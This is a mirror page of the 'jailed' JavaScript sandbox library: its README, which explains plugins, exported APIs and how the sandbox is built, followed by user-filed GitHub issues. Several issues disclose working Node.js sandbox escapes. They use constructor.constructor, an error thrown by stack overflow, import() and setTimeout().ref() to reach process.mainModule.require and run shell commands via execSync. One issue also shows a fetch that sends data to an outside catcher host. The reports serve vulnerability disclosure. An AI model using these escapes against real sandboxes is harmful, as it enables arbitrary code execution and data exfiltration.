Giter Club home page Giter Club logo

jailed's Introduction

Jailed — flexible JS sandbox

Jailed is a small JavaScript library for running untrusted code in a sandbox. The library is written in vanilla-js and has no dependencies.

With Jailed you can:

  • Load an untrusted code into a secure sandbox;

  • Export a set of external functions into the sandbox.

The untrusted code may then interract with the main application by directly calling those functions, but the application owner decides which functions to export, and therefore what will be allowed for the untrusted code to perform.

The code is executed as a plugin, a special instance running as a restricted subprocess (in Node.js), or in a web-worker inside a sandboxed frame (in case of web-browser environment). The iframe is created locally, so that you don't need to host it on a separate (sub)domain.

You can use Jailed to:

  • Setup a safe environment for executing untrusted code, without a need to create a sandboxed worker / subprocess manually;

  • Do that in an isomorphic way: the syntax is same both for Node.js and web-browser, the code works unchanged;

  • Execute a code from a string or from a file;

  • Initiate and interrupt the execution anytime;

  • Demo safely execute user-submitted code;

  • Demo embed 3rd-party code and provide it the precise set of functions to harmlessly operate on the part of your application;

  • Export the particular set of application functions into the sandbox (or in the opposite direction), and let those functions be invoked from the other site (without a need for manual messaging) thus building any custom API and set of permissions.

For instance:

var path = 'http://path.to/the/plugin.js';

// exported methods, will be available to the plugin
var api = {
    alert: alert
};

var plugin = new jailed.Plugin(path, api);

plugin.js:

// runs in a sandboxed worker, cannot access the main application,
// with except for the explicitly exported alert() method

// exported methods are stored in the application.remote object
application.remote.alert('Hello from the plugin!');

(exporting the alert() method is not that good idea actually)

Under the hood, an application may only communicate to a plugin (sandboxed worker / jailed subprocess) through a messaging mechanism, which is reused by Jailed in order to simulate the exporting of particular functions. Each exported function is duplicated on the opposite site with a special wrapper method with the same name. Upon the wrapper method is called, arguments are serialized, and the corresponding message is sent, which leads to the actual function invocation on the other site. If the executed function then issues a callback, the responce message will be sent back and handled by the opposite site, which will, in turn, execute the actual callback previously stored upon the initial wrapper method invocation. A callback is in fact a short-term exported function and behaves in the same way, particularly it may invoke a newer callback in reply.

Installation

For the web-browser environment — download and unpack the distribution, or install it using Bower:

$ bower install jailed

Load the jailed.js in a preferrable way. That is an UMD module, thus for instance it may simply be loaded as a plain JavaScript file using the <script> tag:

<script src="jailed/jailed.js"></script>

For Node.js — install Jailed with npm:

$ npm install jailed

and then in your code:

var jailed = require('jailed');

Optionally you may load the script from the distribution:

var jailed = require('path/to/jailed.js');

After the module is loaded, the two plugin constructors are available: jailed.Plugin and jailed.DynamicPlugin.

Usage

The messaging mechanism reused beyond the remote method invocation introduces some natural limitations for the exported functions and their usage (nevertheless the most common use-cases are still straightforward):

  • Exported function arguments may only be either simple objects (which are then serialized and sent within a message), or callbacks (which are preserved and replaced with special identifiers before sending). Custom object instance may not be used as an argument.

  • A callback can not be executed several times, it will be destroyed upon the first invocation.

  • If several callbacks are provided, only one of them may be called.

  • Returned value of an exported function is ignored, result should be provided to a callback instead.

In Node.js the send() method of a child process object is used for transfering messages, which serializes an object into a JSON-string. In a web-browser environment, the messages are transfered via postMessage() method, which implements the structured clone algorithm for the serialization. That algorithm is more capable than JSON (for instance, in a web-browser you may send a RegExp object, which is not possible in Node.js). More details about structured clone algorithm and its comparsion to JSON.

A plugin object may be created either from a string containing a source code to be executed, or with a path to the script. To load a plugin code from a file, create the plugin using jailed.Plugin constructor and provide the path:

var path = 'http://path.to/some/plugin.js';

// set of methods to be exported into the plugin
var api = {
    alert: alert
}

var plugin = new jailed.Plugin(path, api);

plugin.js:

application.remote.alert('Hello from the plugin!');

Creating a plugin from a string containing a code is very similar, this is performed using jailed.DynamicPlugin constructor:

var code = "application.remote.alert('Hello from the plugin!');";

var api = {
    alert: alert
}

var plugin = new jailed.DynamicPlugin(code, api);

The second api argument provided to the jailed.Plugin and jailed.DynamicPlugin constructors is an interface object with a set of functions to be exported into the plugin. It is also possible to export functions in the opposite direction — from a plugin to the main application. It may be used for instance if a plugin provides a method to perform a calculation. In this case the second argument of a plugin constructor may be omitted. To export some plugin functions, use application.setInterface() method in the plugin code:

// create a plugin
var path = "http://path.to/some/plugin.js";
var plugin = new jailed.Plugin(path);

// called after the plugin is loaded
var start = function() {
    // exported method is available at this point
    plugin.remote.square(2, reportResult);
}

var reportResult = function(result) {
    window.alert("Result is: " + result);
}

// execute start() upon the plugin is loaded
plugin.whenConnected(start);

plugin.js:

// provides the method to square a number
var api = {
    square: function(num, cb) {
        // result reported to the callback
        cb(num*num);
    }
}

// exports the api to the application environment
application.setInterface(api);

In this example the whenConnected() plugin method is used at the application site: that method subscribes the given function to the plugin connection event, after which the functions exported by the plugin become accessible at the remote property of a plugin.

The whenConnected() method may be used as many times as needed and thus subscribe several handlers for a single connection event. For additional convenience, it is also possible to set a connection handler even after the plugin has already been connected — in this case the handler is issued immediately (yet asynchronously).

When a plugin code is executed, a set of functions exported by the application is already prepared. But if one of those functions is invoked, it will actually be called on the application site. If in this case the code of that function will try to use a function exported by the plugin, it may not be prepared yet. To solve this, the similar application.whenConnected() method is available on the plugin site. The method works same as the one of the plugin object: the subscribed handler function will be executed after the connection is initialized, and a set of functions exported by each site is available on the opposite site.

Therefore:

  • If you need to load a plugin and supply it with a set of exported functions, simply provide those functions into the plugin constructor, and then access those at application.remote property on the plugin site — the exported functions are already prepared when the plugin code is exectued.

  • If you need to load a plugin and use the functions it provides through exporting, set up a handler using plugin.whenConnected() method on the application site. After the event is fired, the functions exported by the plugin are available at its remote property of the plugin object;.

  • If both application and a plugin use the exported functions of each other, and the communication is initiated by the plugin, you will most likely need to use the application.whenConnected() method on the plugin site before initiating the communication, in order to make sure that the functions exported by the plugin are already available to the application.

To disconnect a plugin, use the disconnect() method: it kills a worker / subprocess immediately without any chance for its code to react.

A plugin may also disconnect itself by calling the application.disconnect() method.

In addition to whenConnected() method, the plugin object also provides similar whenFailed() and whenDisconnected() methods:

  • whenFailed() subscribes a handler function to the connection failure event, which happens if there have been some error during the plugin initialization, like a network problem or a syntax error in the plugin initialization code.

  • whenDisconnected() subscribes a function to the disconnect event, which happens if a plugin was disconnected by calling the disconnect() method, or a plugin has disconnected itself by calling application.disconnect(), or if a plugin failed to initialize (along with the failure event mentioned above). After the event is fired, the plugin is not usable anymore.

Just like as for whenConnected() method, those two methods may also be used several times or even after the event has actually been fired.

Compatibility

Jailed was tested and should work in Node.js, and in the following browsers:

  • Internet Explorer 10+, Edge
  • Firefox 26+
  • Opera 12+
  • Safari 6+
  • Chrome 10+

Security

This is how the sandbox is built:

In a web-browser:
  • a sandboxed iframe is created with its sandbox attribute only set to "allow-scripts" (to prevent the content of the frame from accessing anything of the main application origin);

  • then a web-worker is started inside that frame;

  • finally the code is loaded by the worker and executed.

Note: when Jailed library is loaded from the local source (its path starts with file://), the "allow-same-origin" permission is added to the sandbox attribute of the iframe. Local installations are mostly used for testing, and without that permission it would not be possible to load the plugin code from a local file. This means that the plugin code has an access to the local filesystem, and to some origin-shared things like IndexedDB (though the main application page is still not accessible from the worker). Therefore if you need to safely execute untrusted code on a local system, reuse the Jailed library in Node.js.

In Node.js:

Warning: according to recent reports (#33) this way of sandboxing is not secure any longer, the fix is being prepared...

  • A Node.js subprocess is created by the Jailed library;

  • the subprocess (down)loads the file containing an untrusted code as a string (or, in case of DynamicPlugin, simply uses the provided string with code)

  • then "use strict"; is appended to the head of that code (in order to prevent breaking the sandbox using arguments.callee.caller);

  • finally the code is executed using vm.runInNewContext() method, where the provided sandbox only exposes some basic methods like setTimeout(), and the application object for messaging with the application site.

--

follow me on twitter: https://twitter.com/asvd0

jailed's People

Contributors

asvd avatar codeclown avatar cristiano-belloni avatar florianb avatar fnogatz avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jailed's Issues

Cannot read property 'whenEmitted' of undefined

I'm trying to use the library in a vue.js project, and it seems that it keeps track of it's state in the Global this, which I think is what is creating this error somehow. If I break on the error, it shows this:

/**
     * Saves the provided function as a handler for the connection
     * success Whenable event
     * 
     * @param {Function} handler to be issued upon connection
     */
    DynamicPlugin.prototype.whenConnected = 
           Plugin.prototype.whenConnected = function(handler) {
        this._connect.whenEmitted(handler);
    }

Where this is the global this and has no property _connect.

Here is the trace

TypeError: Cannot read property 'whenEmitted' of undefined
    at DynamicPlugin.whenConnected.Plugin.whenConnected (jailed.js?c164:787)
    at eval (utils.js?a2b6:70)
    at new Promise (<anonymous>)
    at promisify (utils.js?a2b6:68)
    at _callee$ (evaluation.js?5b15:15)
    at tryCatch (runtime.js?96cf:45)
    at Generator.invoke [as _invoke] (runtime.js?96cf:274)
    at Generator.prototype.<computed> [as next] (runtime.js?96cf:97)
    at asyncGeneratorStep (asyncToGenerator.js?1da1:3)
    at _next (asyncToGenerator.js?1da1:25)

This is how I'm using it:

	const plugin = new jailed.DynamicPlugin(forCompile);
	plugin.whenFailed(x => console.log(x));
	await promisify(plugin.whenConnected);
	const result = await promisify(plugin.remote.evaluateAll);
	console.log(result);
	return { rows: result, evaluate: plugin.remote.evaluate };

Load external js file into plugin?

Is there a way to load an external javascript file into the plugin's context (either from the main page or from the plugin)? For example, if the plugin code depends on a date manipulation library, is there a function to load this as an external js file, or does it have to be baked into the plugin.js file?

Basic example doesn't work

Sorry if this is due to a lack-of-understanding on my part, but I can't get this to work. I'm running it locally, and I've tried it in Chrome and Safari on Mac.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="jailed.js"></script>
</head>
<body>
    <div id="content"></div>
    <script>
        var api = {
            alert: alert
        };

        var pluginCode = "application.setInterface({\n";
        pluginCode += "foo: function() {\n";
        pluginCode += " application.remote.alert('hi');\n";
        pluginCode += "}});"

        console.log(pluginCode);


        var plugin = new jailed.Plugin(pluginCode, api);

        plugin.remote.foo();
    </script>
<body>
</html>

Node dies with unhandled exception on jailed plugin syntax error

I'm using

pluginInstance = new jailed.DynamicPlugin(script, api)

and

pluginInstance.whenFailed(function() {
   // Handle plugin failing
 })

but, if script has a syntax error, the process dies with an unhandled exception:

SyntaxError: Unexpected token }
    at Object.exports.runInNewContext (vm.js:48:16)
    at executeJailed (/myDir/node_modules/jailed/lib/_pluginNode.js:194:12)
    at execute (/myDir/node_modules/jailed/lib/_pluginNode.js:143:5)
    at process.<anonymous> (/myDir/node_modules/jailed/lib/_pluginNode.js:36:9)
    at emitTwo (events.js:100:13)
    at process.emit (events.js:185:7)
    at handleMessage (internal/child_process.js:689:10)
    at Pipe.channel.onread (internal/child_process.js:440:11)

Is there a way to handle this without the process dying?

Tell Jailed to use a Specific iFrame declared in the HTML DOM?

Hi,

This is more or less a question, I'm wondering rather than creating a new iFrame every time a Jailed plugin is executed is it possible to use one that is already declared in the DOM? I noticed that every time this code executes an iFrame is created then removed from the DOM:

var program = new jailed.Plugin(host + "/" + filename, this.rpgcodeApi.api);
 program.whenConnected(function () {
    rpgtoolkit.craftyPlayer.disableControl();
 });
 program.whenDisconnected(function () {
    rpgtoolkit.craftyPlayer.enableControl();
 });

By the way I'm using Jailed to execute custom user programs in a Javascript game engine. It is working fine so far but creating iFrames is a bit of a performance overhead for me, since accessing the DOM is an expensive operation.

It is an awesome library by the way.

Breaks on bundled apps

Hi @asvd!

I'm trying to get Jailed running client-side using a Browserify bundle. I'm getting the following error when I attempt to require('jailed'):

http://localhost:8000/_JailedSite.js: Failed to load resource: the server responded with a status of 404 (Not Found)

Jailed seems to make assumptions about my file structure which don't hold true on a bundled app.

Support promises on top of callbacks

Communication with child process is built on top of postMessage now, and that's why it doesn't support returning value. And we have to use that old-style callbacks to return value from function.

It would be much better to wrap that functions into promises to allow returning values as well as promises and all such things.

Example of current plugin code:

application.setInterface({
  getSomeValue: function (callback) {
     callback(123);
  },
  doAsyncJob: function (callback) {
     setTimeout(callback, 1000);
  }
});

What it could look like:

application.setInterface({
  getSomeValue: function (callback) {
     return 123; //return simple value from promise is ok
  },
  doAsyncJob: function () {
    return new Promise(function(resolve) {
     setTimeout(resolve, 1000);
    });
  }
});

And then you can call plugin code from your App so easy:

plugin.remote.doAsyncJob()
   .then(doSomethingElse);

Pass values to jailed code

I'm sure I'm missing something obvious, but how do I go about passing an object of key / value pairs to the jailed code?

For example, if I had something like:

{
  firstName: John,
  lastName: Doe
}

How would I go about accessing firstName and lastName within plugin.js? My original guess was that I'd add the object to the 2nd property of jailed.Plugin(pathToPlugin, { scope: { firstName: 'John', lastName: 'Doe' } }) but it didn't work.

I looked at the web-banner example in the repo, but the bad / good image names are hardcoded into plugin.js. I need those values to be dynamic.

Get data from a plugin

Hello,

I haven't found an answer from reading the doc, and couldn't get my hacks to work, so here's my question. Is it possible to send some data from a plugin to the application?

Here's my use case: I have a data set, and I want users to be able to run some JS to transform that set, then get it back and display it from my main application. Is that possible using jailed?

Thanks,
Adrian

Add setting for "fallback to iframe jailing only" functionality, and timeout value

The file lib/_frame.js contains this code:

    // mixed content warning in Chrome silently skips worker
    // initialization without exception, handling this with timeout
    var fallbackTimeout = setTimeout(function() {
        worker.terminate();
        initIframePlugin();
    }, 300);

    // forwarding messages between the worker and parent window
    worker.addEventListener('message', function(m) {
        if (m.data.type == 'initialized') {
            clearTimeout(fallbackTimeout);
        }
        [...]
    });

So it tries to run the user-script in a web-worker (within the sandboxed iframe), and if it fails (ie. if "initialized" message is not received within 300ms), then it tries again without the web-worker jail layer.

That's understandable. However, it would be nice if the library let you choose whether to:

  1. Try to use iframe+web-worker, but fallback to iframe-only if web-worker fails. (current functionality)
  2. Try to use iframe+web-worker, and throw error if web-worker fails.
  3. Always only use iframe.

Furthermore, it would be nice if one could customize the timeout-length for determining if the web-worker layer failed. Why?

Because the default value of 300ms is too small sometimes! When I ran user-scripts within jailed five times, it worked as expected four times (with the web-worker layer initializing within the 300ms), but one of the five times, it took too long for the web-worker to initialize, and so jailed got rid of the web-worker layer (despite the context in fact supporting web-workers, as seen from the non-fallback-activated calls).

This means that:

  1. The web-worker security layer was avoided for one of the calls, despite this not being necessary. (This makes usage unpredictable. For example, it changed an error from ReferenceError: alert is not defined to VM4703:4 Ignored call to 'alert()'. The document is sandboxed, and the 'allow-modals' keyword is not set., which then failed to show up in my regular error-catching-and-displaying system.)
  2. In rare cases, it's possible this could result in a user-script partially-running more than once. (if there is a slight delay in the "initialized" message being received, that tells the main process to cancel the fallback timer)

Anyway, these issue would be resolved by adding a setting for the three fallback functionalities above, as well as a setting to customize the fallback-timer duration.

Potential issue with Jailed crashing tab in travis

https://travis-ci.org/dtracers/coursesketch/builds/121328585

I am creating chrome in travis (which for some reason has to run without sandbox) and as a result it sometimes crashes the chrome tab causing my build to fail.

I believe the problem is jailed because this is the only library I'm using in the tests that are crashing.

(and unfortunately this is the only real stack trace I have)

[INFO]   2) running test for /test/utilities/functions/baseExceptionTest.html?coverage=true
[INFO] childScriptTest.js
[INFO] 03:20:23.738 INFO - Executing: [get: http://localhost:9001/test/utilities/functions/childScriptTest.html?coverage=true])
[INFO] 03:20:29.082 WARN - Exception thrown
[INFO] org.openqa.selenium.WebDriverException: unknown error: session deleted because of page crash
[INFO] from tab crashed

support function declaration this

this code :

var res = 5;
function a(){ return this.res }
a();

should return 5 instead of undefined.

this code is working fine:

res = 5;
function a(){ return this.res }
a();

Please update the NPM repository with your latest changes

It appears the tarball that npm pulls when you do an "npm install jailed" is pulling an older version of your code which doesn't include the fix for issue #25. I'm trying to use jailed in an Electron environment and need this fix so that it will work. Could you please push up an updated tarball? I like your implementation - makes it easier to run Blockly code in an isolated and separate psuedo-sandbox.

Thanks . . .

Glenn

Passing interface with sub functions not working

I need to pass an object a larger context as an interface with sub properties, but the sub properties are undefined when accessed inside a jailed environment. I read through this issue #58 and tried implementing that but it didn't work for what I needed.

This is what I originally tried

const context = {
    log: function(x) {
        console.log(x);
    },
    JSON: {
        stringify: function(x) {
            return JSON.stringify(x);
        }
    }
}

var dp = new DynamicPlugin(myCode, context);

This didn't work and returned undefined for JSON and it's sub function. I tried implementing the callback solution in #58 but it had the same issue. Am I doing something wrong or Jailed not able to do this?

TypeError: Cannot read property 'name' of undefined

Hi I am relative new to node and trying out how to use jailed.

So I have started with the basic functionality with this script

//npm install jailed
var jailed = require('jailed');

var code = "application.remote.test('Hello!! Welcome to jailed');";

var api = {
test: function(config){
console.log(config);
}
}

var plugin = new jailed.DynamicPlugin(code, api);

But it is giving me a weird error

(process.release.name.search(/node|io.js/) !== -1));
^
TypeError: Cannot read property 'name' of undefined
at /Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:49:35
at isNode (/Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:42:9)
at Object. (/Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:46:2)
at Module._compile (module.js:456:26)
at Object.Module._extensions..js (module.js:474:10)
at Module.load (module.js:356:32)
at Function.Module._load (module.js:312:12)
at Module.require (module.js:364:17)
at require (module.js:380:17)
at Object. (/Users/anandk/delete/jailed/jail.js:2:14)

is there some problem with the latest release?

Plugin disconnects but nothing happens

Hi - i am still trying to get jailed up and running in the Electron-environment (Node 5.1.1, Chrome 47.0.2526.110, Electron 0.36.9) and feel i make no progress. I am using the following code from within my app for debugging purposes:

  var api = {
    alert: alert
  };

  var code = "application.remote.alert('Hello from the plugin!');";
  var plugin = new jailed.DynamicPlugin(code, api);

  plugin.whenConnected(function() {
    console.info('plugin connected..');
  });

  plugin.whenDisconnected(function() {
    console.info('plugin disconnected..');
  });

  plugin.whenFailed(function() {
    console.info('plugin failed..');
  });

This returns plugin disconnected.. which let me assume that the plugin code should be run. However, the alert is not being invoked as well as any Api-calls (i tried to pass variables as well, binding this).

A debugging attempt -- running the commands by hand from the console -- failed completely with an Uncaught TypeError: this._connect is not a function in jailed.js:612.

I really appreciate any hint. Thanks in advance - 🍰 ☕

Lazy loading jailed does not initialise in browser

Its quite difficult to use jailed in lazy loading system like require.js or systemJS at the moment.

A couple of problems:

  • The __jailed__path__ calculation doesn't get it right. It makes the assumption that the script is loaded synchronously. If the async or defer attrs is used on the script tag, or something like requirejs or systemJS is used, the base path will be wrong. This should be configurable somehow, maybe by taking the value if it already exists (var __jailed__path__ = __jailed__path__ || //...)
  • Since initWeb listens to window.onload, if you lazy load jailed, the initialisation never happens. document.readyState should be checked. For a simple implementation check doc-ready

use callback in object

When I put a callback in a config object, it got deleted from the object.

Example:

var plugin = new jailed.Plugin(jsFile, {
    "test": function(config){
        console.log(config);
    }
});

When I jail this script:

application.remote.test(function(){
    // ...
});

It outputs [Function] it's ok

Now with this file

application.remote.test({
    "foo": "foo",
    "bar": function(){
        // ...
    }
});

It outputs { foo: 'foo' } bar is not exported

Why is the Web Worker inside an iframe?

Is there any documentation anywhere as to why the Web Worker is launched from inside an iframe, as opposed to just relying on the worker for isolation?

I understand defense-in-depth, but of course there's more to it than just "more layers", or else you'd have 3 or 10 nested iframes. Is there a specific reason to think someone could break out of a worker but run into trouble breaking out of the iframe? If anything frames seem easier to break out of than workers, what with its partial access to parent windows and heavily polluted, ever-growing global namespace.

Console demo allows XMLHttpRequests to CORS-enabled servers

The console demo already monkey-patches over things like navigator and console, but not XMLHttpRequests. With the advent of CORS, this means sandboxed code can make requests to out-of-domain servers. For example:

x = new XMLHttpRequest(); x.open('GET', 'https://cors-test.appspot.com/test', false); x.send(); x.response;
> {"status": "ok"}

While the sandbox doesn't have access to any user data (as far as I can tell), it could allow an attacker to essentially create a botnet if sandboxed user code was shared with other users. Since the demo serves as an example of what to monkey-patch over in a plugin, XMLHttpRequest should be added to the list.

CVE-2022-23923

I was recently notified by Github regarding CVE-2022-23923. The actual description of the issue is a bit odd so wanted to get clarification on its impact. It is described with:

All versions of package jailed are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.

This seems to imply the issue is only present when a remote method named alert is exported to the jailed script. The issue seems to be imported from the Sync vulnerability database and that actually includes a POC of the vulnerability. My understanding of the POC leads me to believe the description of the vulnerability is not accurate. It feels like the person who wrote the description is not the same as the person who wrote the POC and the description writer did not understand the POC. The alert was just used to present the exfiltrated data for demonstration purposes and has nothing to do really with the vulnerability.

My understanding of the POC is it is a variation on the known vulnerability with jailed when running on Node.js and documented on the README. It is getting a Function constructor on an object provided by the main context from within the context created by Node.js's vm.runInNewContext. Then using that to eval code to get access to require via process.mainModule. From there it can do any number of things (in the POC's case it is reading from the filesystem).

What makes this POC different from #33 is that it is not using objects passed to the sandbox to get access to this function constructor but instead using this.constructor which I am thinking is the constructor for the global object that Node provides the new context? If this is correct I don't think the proposed fix to @gpascualg did in #37 would be sufficient as the Function constructor is not gained via one of the exposed objects passed to the new vm context.

I'm posting this issue hoping to get feedback from others to confirm my understand which is:

This is just a variation on #33 and therefore represents no more risk than was already documented in the README. jailed on Node.js continues to be broken (only now the proposed fix may be insufficient) but jailed on the web is still valid as it's isolation is handled entirely differently and the constructs used in the POC (process.mainModule and require) are not present for JS running in a web browser.

Release version 0.2.1

Hi! It's been more than a year since a release was tagged, and I guess that means what's available on npm is not up-to-date? So, would it be possible to tag a new release?

Thanks,
Adrian

The process never exits.

Hi,

I am having this issue with jailed under node that the process never exist therefore onDisconnect never gets called.
This happens even with the sample code provided on github.

Here the code that I used:

var jailed = require('jailed' )
var code = `
    var api = {
        square: function(num, cb) {  
            cb(num*num);
        }
    }
    application.setInterface(api);
`

var plugin = new jailed.DynamicPlugin(code);
var start = function() {

    plugin.remote.square(2, reportResult);
}
var reportResult = function(result) {
    console.log("Result is: " + result);  
}
plugin.whenConnected(start);

Executing the above under node never exist and only shows "Result is: 4"

Browserify-support

I would love to use this library but I'm using Browserify, which isn't supported properly at the moment. I'm interested in creating a pull request for support, but in order to do that I would need to know a bit more about how the code functions.

When I tried it, it attempted loading the _JailedSite.js file using a script-tag. I assume this is done inside the iframe to allow access to it..? With Browserify this doesn't work because Browserify combines all code into one file, and that's the only file served publicly.

Would it be possible to do this without loading an extra file? Probably it would mean having _JailedSite.js return a function which will then be executed when the iframe loads.

As you can see, I'm clueless here so it would be great if you could briefly outline the way this script works and we could go from there.

Debugging child process

I've encountered a problem while debugging app using jailed in WebStorm.
If i run the app in debug mode I get EADDRINUSE.

However I found that adding '--debug' to execArgv on line 205 of jailed.js
not only prevents the issue from occurring but also allows for debugging of plugin code.

It would be great if this argument could be added only while the app is debugged.

Sandbox Escape Bug in jailed with Node.js

  • Jailed version: 0.3.1

  • Node version: 18.15.0

  • run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
  • test_case.js
try{ 
    function stack() {
        new Error().stack;
	stack();
    }
    stack();
} catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
}

application.disconnect();

Sandbox can be escaped by calling error stack during maximum call stack error.
We can execute arbitrary shell code using process module.

Basic example doesn't work

Sorry if this is due to a lack-of-understanding on my part, but I can't get this to work. I'm running it locally, and I've tried it in Chrome and Safari on Mac.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="jailed.js"></script>
</head>
<body>
    <div id="content"></div>
    <script>
        var api = {
            alert: alert
        };

        var pluginCode = "application.setInterface({\n";
        pluginCode += "foo: function() {\n";
        pluginCode += " application.remote.alert('hi');\n";
        pluginCode += "}});"

        console.log(pluginCode);


        var plugin = new jailed.Plugin(pluginCode, api);

        plugin.remote.foo();
    </script>
<body>
</html>

unable to find application object

I am trying to use jailed in a demo app. I can not figure out where the application object is defined. I keep getting application not defined when I write application.setInterface(api);

Can't catch STDERR

I've looked over some similar issues but they don't seem to solve the problem. If I enter illegal code (syntax error) to my code, on the server side I get ERROR: asdf is not defined. The problem is I have no idea where to catch this error. I've put try/catch blocks everywhere that I can (including in the functions provided in application.setInterface. Any ideas? Thanks

Capture runtime exceptions in the jailed code

Hi,

How can the parent process can get notified if the jailed code throws an exception or fails executing its code? Something like:

function task(){
  foo()//foo is not defined
}

or

function task(){
  throw 'failed'
}

It happens to me that the process doesn't end if there isn't a timeout.

Thank you.

Sandbox Escape Bug in jailed with Node.js

  • Jailed version: 0.3.1

  • Node version: 18.15.0

  • run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
  • test_case.js
let ret = import("XXX");
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 

application.disconnect();

Sandbox can be escaped by calling import function.
Also, we can execute arbitrary shell code using process module.

Timeout feature?

First, thanks for making this, it's great.

What do you think about adding a timeout feature when making remote calls? For example:

plugin.remote.square(2, reportResult, {
  timeout: 2000,
  onTimeout: myTimeoutHandler
});

This would make guarding against untrusted code very convenient. Thoughts?

Write code without application.remote

How can I write clean code without 'application.remote.'?
I don't want write like that:
var code = "application.remote.alert('Hello from the plugin!');";
I need this clean code:
var code = "alert('Hello from the plugin!');";
So can i write wihtout 'application.remote.' or can i add it in runtime?

Improve Jail Isolation via Content-Security-Policy

Would you be open to adding a Content-Security-Policy to the frame file?

My scenario is:

  1. A user writes a script that customizes the workflow of a form.
  2. These scripts can only do certain actions (functions that are exported into the sandbox).
  3. One of these actions will retrieve data from the form so decisions can be made based on the form data
  4. The user using the form is not necessarily the person who wrote the script. The script will be part of the configuration of the system mostly likely made by someone with elevated privileges (although not necessarily access to everything) while the script is executed when a normal user is using the application

My concern is if this elevated user has their credentials compromised the attacker could write a script that gathers all the data on the form and exfiltrates it to a 3rd party service. Data the compromised account may not normally have access to (but the regular users have access to).

I'm not sure to what extent this threat can be eliminated but it seems we can at least reduce the impact by telling the browser the script should not be able to contact 3rd party services via a content security policy.

I think the following policy should be fairly locked down:

// Default to allow nothing and just open up what we need
default-src 'none';

// Allows iframe to load worker via `blob:` URI
worker-src blob:;

// 'self' allows local scripts to be loaded (to get the JS files jailed needs)
// 'unsafe-eval' allows the jailed script to be evaled (in the jail of course)
script-src 'self' 'unsafe-eval'

This CSP needs to apply to the _frame.html file. Since this file is likely being served as static content modifying the HTTP header will vary depending on deployment environment. Therefore it seems best to add the CSP as a meta tag in the _frame.html file.

If this all sounds good I can create a PR that adds the following meta tag to the _frame.html file:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; worker-src blob:; script-src 'self' 'unsafe-eval'">

Without this meta tag if I run the following in the demo console my sensitive data is sent to the 3rd party server:

fetch('https://jailed.requestcatcher.com/test', { method: 'POST', body: 'sensitive data' })

With the CSP in place that fetch is denied since the connect policy is not provided and therefore uses the default-src which is set to none.

Before I created a PR I wanted to find out:

  1. Is providing a good CSP in scope for this project?
  2. Does the proposed CSP seem reasonable? I can imagine at some point in the future we might get someone requesting that their user-defined script be able to load fonts or something which the CSP would deny. But I suggest we wait to receive that feedback before opening up the CSP more or making it configurable.
  3. Are there other ways to exfiltrate data out provided to a user-defined script that this CSP does not cover?

Jailed does not work with https in chrome

I'm not certain if this is a bug on chrome or a bug on you, but -- if you load your demo page here as https instead of http, then you get an error "Mixed Content: The page at 'https://asvd.github.io/jailed/lib/_frame.html' was loaded over HTTPS, but requested an insecure Worker script 'blob:null/74057946-5764-4cbe-8f84-32e392c3885f'. This request has been blocked; the content must be served over HTTPS.". It's likely a bug on chrome, but thought you should be aware, and might possibly want to implement some kind of workaround until chrome fixes it.

Exposing values from the app to the jailed worker.

do you know if it's possible to expose values or methods to the jailed plugin?

From what I'm understanding you can expose functions that the worker can execute 1 time and then pass information from the worker/plugin to the application.

I would like to do the opposite let the worker call a function to the application and the application returns a value or method that can be used on the code on the plugin side.

something like:

const api = {
   someFancyStuff: async () => {
     const response = await fetch(url, options);
     return response
  },
  output: () => {
    // do somehting with the ouput
}
}

new jailed.DynamicPlugin(code, api);

so far if I execute application.remote.someFancyStuff() the return value is undefined even if I'm just doing return 1

thank you.

Make it work in webpack

Webpack's static analysis breaks jailed: it's probably because child_process is required dynamically.
Anyway, would it be possible to follow this to make it work in the browser?

Just adding:

browser: { fs: false, child_process: false } to the package.json would do the trick

Sandbox Escape in jailed with Node.js

  • Jailed version: 0.3.1

  • Node version: 18.15.0

  • run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
  • test_case.js
try{
    setTimeout().ref();
} catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
}

application.disconnect();

Sandbox can be escaped by calling setTimeout().ref() function.
Also, we can execute arbitrary shell code using process module.

jailed doesn't work with http in Chrome, either.

Neither of the demos work for me in Mac/Chrome 47.0.2526.106 (64-bit).

Nothing happens when I click the buttons in the banner demo, and no text appears in the "console" in the other demo.

Both demos work for me in Safari.

Node.js sandbox is broken

start.js file:

var jailed = require('../../../lib/jailed.js');
var api = {};
var plugin = new jailed.Plugin(__dirname + '/plugin.js', api);

plugin.js file:

var require = application.whenConnected.constructor('return process.mainModule.require')();
// do anything with true "require" here

Location

I'm looking for a way to share application window.location with plugin.

// plugin.js
application.remote.alert(application.remote.location.href);

How to accomplish that?

